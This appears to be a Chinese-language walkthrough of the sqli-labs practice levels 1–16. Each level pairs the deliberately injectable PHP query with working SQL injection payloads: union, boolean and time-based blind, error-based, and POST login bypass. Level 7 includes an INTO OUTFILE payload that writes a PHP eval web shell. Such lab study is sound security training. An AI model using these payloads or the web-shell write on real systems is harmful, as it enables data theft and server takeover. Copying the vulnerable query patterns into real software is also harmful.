sqli-lab

第一关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
// ?id=-1' union select 1,2,database()--+

第二关

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
// ?id=-1 union select 1,2,database()--+

第三关

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
// ?id=-1') union select 1,2,database()--+

第四关

$id = '"' . $id . '"';
$sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
//?id=-1") union select 1,2,database() --+

第五关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";//无回显
//?id=1' and if(length(database())=8,sleep(5),1) --+  if(exp1,exp2,exp3) exp1为真,返回exp2。
//?id=1' and if(left(database(),1)='s',sleep(5),1)
方法二
//id=' and left(select database(),1)>'s' --+  bool注入,更具页面回显判断,二分法更快。

第六关

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

和第五关一样,只有双引号改变。

第七关

$sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";
//?id=1')) union select null,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e,null into outfile 'e:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\t.php' %23

第八关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
只有一个回显。盲注
    ?id=1' and left(database(),1)='s' %23
    ?id=1' and ascii(substr(database() ,1,1)) = 115 %23
    ?id=1' and substr((select database()) ,1,1) ='s' %23
    

第九关

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
时间盲注0.0
    ?id=1' and if(length(database())=8,sleep(5),1) %23
    ?id=1' and if(left(database(),1)='s',sleep(5),1) %23
    ?id=1' and if(ascii(substr(database(),1,1))=115,sleep(5),1) %23

第十关

$id = '"'.$id.'"';
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
时间盲注
    换成了‘"’,其它没变。

第十一关

$uname=$_POST['uname'];
$passwd=$_POST['passwd'];
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
if($row)
{
    	echo 'Your Login name:'. $row['username'];
		echo "<br>";
		echo 'Your Password:' .$row['password'];
}

uname=admin' order by 2#&passwd=12346
uname=admn' union select 1,2#&passwd=12346
uname=admn' union select 1,(SELECT GROUP_CONCAT(schema_name) FROM information_schema.schemata) #&passwd=123456

第十二关

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
// 和十一关差不多
uname=admin') order by 2#&passwd=12346

第十三关

@$sql="SELECT username, password FROM users WHERE username=('$uname') and password=('$passwd') LIMIT 0,1";
//单引号和括号闭合,但是没回显,但是有报错,考虑报错注入
uname=admin') and extractvalue(1,concat(0x7e,(select database())))  and ('

第十四关

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=$uname and password=$passwd LIMIT 0,1";
//双引号报错,没回显,报错注入
uname=admin" and extractvalue(1,concat(0x7e,(select database())))  and "

第十五关

@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
//单引号,没有报错没有回显,想到的方法就是时间盲注
uname=admin' and if(length(database())=8,sleep(5),1)#
uname=admin' and if(left(database(),1)='s',sleep(5),1)#
//....
    

第十六关

$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"'; 
@$sql="SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1";
//双引号+括号,没有回显和报错,只想到了时间盲注
uname=admin") and if(length(database())=8,sleep(5),1)#